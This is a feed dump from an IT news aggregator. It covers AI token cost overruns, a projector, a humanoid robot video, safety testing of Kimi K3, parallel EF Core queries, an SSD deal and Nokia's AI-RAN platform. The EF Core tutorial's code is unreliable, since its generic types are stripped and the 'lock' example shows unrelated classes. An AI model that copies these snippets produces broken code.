<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[BenQ TK705STi 4K Projector Review: A Midrange Pick for Gamers]]></title>
<description><![CDATA[The TK705STi’s highly responsive, low-latency performance makes gameplay ultra-realistic. For movies and TV? It’s a purely average home projector.]]></description>
<link>https://tsecurity.de/de/3691369/it-nachrichten/benq-tk705sti-4k-projector-review-a-midrange-pick-for-gamers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691369/it-nachrichten/benq-tk705sti-4k-projector-review-a-midrange-pick-for-gamers/</guid>
<pubDate>Fri, 24 Jul 2026 13:19:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The TK705STi’s highly responsive, low-latency performance makes gameplay ultra-realistic. For movies and TV? It’s a purely average home projector.]]></content:encoded>
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<title><![CDATA[New GENE 01 Bionic Humanoid Robot Teases AMD AI Game Changer (KIMI K3 VS FLASH 3.6)]]></title>
<description><![CDATA[Author: AI News - Bewertung: 7x - Views:48 Earn $100s/hr discussing your expertise with AI as referred by AI News: https://t.mercor.com/x1Eve or https://tinyurl.com/AINewsOfficial

Generative Bionics just teased the Gene 01 humanoid robot to challenge Tesla and Boston Dynamics. In this video, we ...]]></description>
<link>https://tsecurity.de/de/3691284/it-security-video/new-gene-01-bionic-humanoid-robot-teases-amd-ai-game-changer-kimi-k3-vs-flash-36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691284/it-security-video/new-gene-01-bionic-humanoid-robot-teases-amd-ai-game-changer-kimi-k3-vs-flash-36/</guid>
<pubDate>Fri, 24 Jul 2026 12:34:40 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: AI News - Bewertung: 7x - Views:48 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/3p3UfAmd4Zo?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Earn $100s/hr discussing your expertise with AI as referred by AI News: https://t.mercor.com/x1Eve or https://tinyurl.com/AINewsOfficial<br />
<br />
Generative Bionics just teased the Gene 01 humanoid robot to challenge Tesla and Boston Dynamics. In this video, we break down its groundbreaking multimodal tactile skin, 24 DoF hands, and open-source platform. We also see the new M1 hand from Mimic that can interchange with different robot models. AI News also compare the newly released Moonshot AI Kimmy K3 open-source 2.8T model against Google DeepMind’s closed-source Gemini 3.6 Flash API to see which reigns supreme in speed, cost, and coding performance.<br />
<br />
Discover the AI agent economy: https://8004agents.ai<br />
<br />
AI news<br />
0:00 GENE 01<br />
3:21 M1<br />
4:56 Kimi K3<br />
6:26 Gemini Flash 3.6<br />
<br />
#ai #news #technology<br/></p>]]></content:encoded>
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<title><![CDATA[Kimi K3 trails frontier US models by a wide margin on cyber exploits, and distillation may explain why]]></title>
<description><![CDATA[The British AI Security Institute and the U.S. Center for AI Standards and Innovation tested Moonshot AI's Kimi K3 on offensive cyber tasks. Kimi K3 scored 32 percent on ExploitBench, compared with 76 percent for leading U.S. models, while its safeguards failed to block exploit development or sim...]]></description>
<link>https://tsecurity.de/de/3691203/ai-nachrichten/kimi-k3-trails-frontier-us-models-by-a-wide-margin-on-cyber-exploits-and-distillation-may-explain-why/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691203/ai-nachrichten/kimi-k3-trails-frontier-us-models-by-a-wide-margin-on-cyber-exploits-and-distillation-may-explain-why/</guid>
<pubDate>Fri, 24 Jul 2026 11:52:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/07/aisi_logo_pattern.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        The British AI Security Institute and the U.S. Center for AI Standards and Innovation tested Moonshot AI's Kimi K3 on offensive cyber tasks. Kimi K3 scored 32 percent on ExploitBench, compared with 76 percent for leading U.S. models, while its safeguards failed to block exploit development or simulated attacks. The gap between its strong general benchmark scores and weaker cyber performance also fits allegations that Moonshot AI distilled Anthropic's models.</p>
<p>The article <a href="https://the-decoder.com/kimi-k3-trails-frontier-us-models-by-a-wide-margin-on-cyber-exploits-and-distillation-may-explain-why/">Kimi K3 trails frontier US models by a wide margin on cyber exploits, and distillation may explain why</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[How to execute queries in parallel using EF Core]]></title>
<description><![CDATA[EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thr...]]></description>
<link>https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The <code>DbContext</code> class is the core component of the EF Core framework for managing database operations. However, the <code>DbContext</code> class in EF Core is not thread-safe. Hence, if you share <code>DbContext</code> instances between multiple threads, you will often encounter data corruption issues and the <code>InvalidOperationException</code>.</p>



<p class="wp-block-paragraph">In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can <a href="https://visualstudio.microsoft.com/insiders/">download Visual Studio 2026 here</a>.</p>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the problem</h2>



<p class="wp-block-paragraph">When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example. </p>



<p class="wp-block-paragraph">Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code. </p>



<pre class="wp-block-code"><code>public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task&lt;List&gt;    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task&lt;List&gt; logsTask    = productService.GetRecentLogsAsync();
    Task&lt;List&gt;    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}
</code></pre>



<p class="wp-block-paragraph">In the preceding code snippet, there are four read operations that are executed by four different <code>Task</code> instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by using<code>Task.WhenAll</code>, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new <code>Dashboard</code> instance.</p>



<p class="wp-block-paragraph">If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.</p>



<p class="wp-block-paragraph">However, there is a danger with the above approach. If you run multiple operations on the same <code>DbContext</code> instance, you will see an <code>InvalidOperationException</code> with the following message:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same <code>DbContext</code> instance; instance members are not guaranteed to be thread-safe.</p>
</blockquote>



<p class="wp-block-paragraph">Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you <code>await</code> several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an <code>InvalidOperationException</code>. To run queries in parallel, you must give each task its own connection or context.</p>



<h2 class="wp-block-heading">Why DbContext isn’t thread-safe – and how to work around it</h2>



<p class="wp-block-paragraph">The <code>DbContext</code> class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same <code>DbContext</code> instance. This design approach creates inherent challenges when you use the same <code>DbContext</code> instance across multiple threads. If <code>DbContext</code> were thread-safe, extensive locking would be required, which would degrade data access performance.</p>



<p class="wp-block-paragraph">This stateful design of <code>DbContext</code> makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.</p>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/ef/core/change-tracking/" data-type="link" data-id="https://learn.microsoft.com/en-us/ef/core/change-tracking/">change tracker</a> is one of the most important components of <code>DbContext</code> in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the <code>SaveChanges()</code> method on the <code>DbContext</code> instance.</p>



<p class="wp-block-paragraph">To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we <em>could</em> accomplish this by wrapping a shared <code>DbContext</code> instance inside a thread-safe block using the <code>lock</code> keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below. </p>



<pre class="wp-block-code"><code>using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products =&gt; Set();
}
</code></pre>



<p class="wp-block-paragraph">However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use <code>IDbContextFactory</code> , which creates fresh <code>DbContext</code> instances on demand. Calling its <code>CreateDbContext()</code> method is cheap and produces a fresh, isolated context every time. </p>



<p class="wp-block-paragraph">The following code snippet shows how you can register an instance of type <code>IDbContextFactory</code> as a singleton. You can safely call this code from any thread.</p>



<pre class="wp-block-code"><code>builder.Services.AddDbContextFactory(options =&gt;
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));
</code></pre>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the solution</h2>



<p class="wp-block-paragraph">Now let’s see how we can put <code>IDbContextFactory</code> to work. The following code illustrates a class named <code>ProductService</code> that uses a factory to create <code>DbContext</code> instances for each scope of work.</p>



<pre class="wp-block-code"><code>public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        =&gt; _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}
</code></pre>



<p class="wp-block-paragraph">Note that <code>ProductService</code> has two methods, <code>GetByIdAsync</code> and <code>UpdateStockQuantityAsync</code>. An instance of the <code>DbContext</code> class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the <code>GetByIdAsync</code> method while thread T2 executes the <code>UpdateStockQuantityAsync</code> method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.</p>



<p class="wp-block-paragraph">Consider the following code that executes a read operation and an update operation in two separate tasks. </p>



<pre class="wp-block-code"><code>public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }
</code></pre>



<p class="wp-block-paragraph">The <code>Task.WhenAll</code> method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own <code>DbContext</code> instance internally. Therefore the read operation and the update operation use independent <code>DbContext</code> instances.</p>



<h2 class="wp-block-heading">Use DbContext pooling to reduce allocation cost</h2>



<p class="wp-block-paragraph">Although creating <code>DbContext</code> instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context. </p>



<pre class="wp-block-code"><code>builder.Services.AddPooledDbContextFactory(options =&gt;
    options.UseSqlServer(connectionString));
</code></pre>



<p class="wp-block-paragraph">A call to <code>AddDbContext()</code> will register a <code>DbContext</code> instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the <code>DbContext</code> will not always suffice.</p>



<p class="wp-block-paragraph">You will need a factory to create instances of <code>DbContext</code> when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.</p>



<h2 class="wp-block-heading">Key takeaways</h2>



<ul class="wp-block-list">
<li>If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.</li>



<li>You cannot execute multiple queries in parallel in EF Core using the same <code>DbContext</code> instance.</li>



<li>The <code>IDbContextFactory</code> enables you to create a <code>DbContext</code> instance for each thread, thereby enabling you to work with these instances in isolation.</li>



<li>Although using a <code>DbContext</code> pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.</li>
</ul>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Samsung's 4TB 990 EVO Plus internal SSD is down to $599.99, combining massive storage with ultra-fast 7,250MB/s performance]]></title>
<description><![CDATA[Samsung's 4TB 990 EVO Plus internal SSD is down to $599.99, combining massive storage with ultra-fast 7,250MB/s performance.]]></description>
<link>https://tsecurity.de/de/3691072/it-nachrichten/samsungs-4tb-990-evo-plus-internal-ssd-is-down-to-59999-combining-massive-storage-with-ultra-fast-7250mbs-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691072/it-nachrichten/samsungs-4tb-990-evo-plus-internal-ssd-is-down-to-59999-combining-massive-storage-with-ultra-fast-7250mbs-performance/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung's 4TB 990 EVO Plus internal SSD is down to $599.99, combining massive storage with ultra-fast 7,250MB/s performance.]]></content:encoded>
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<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



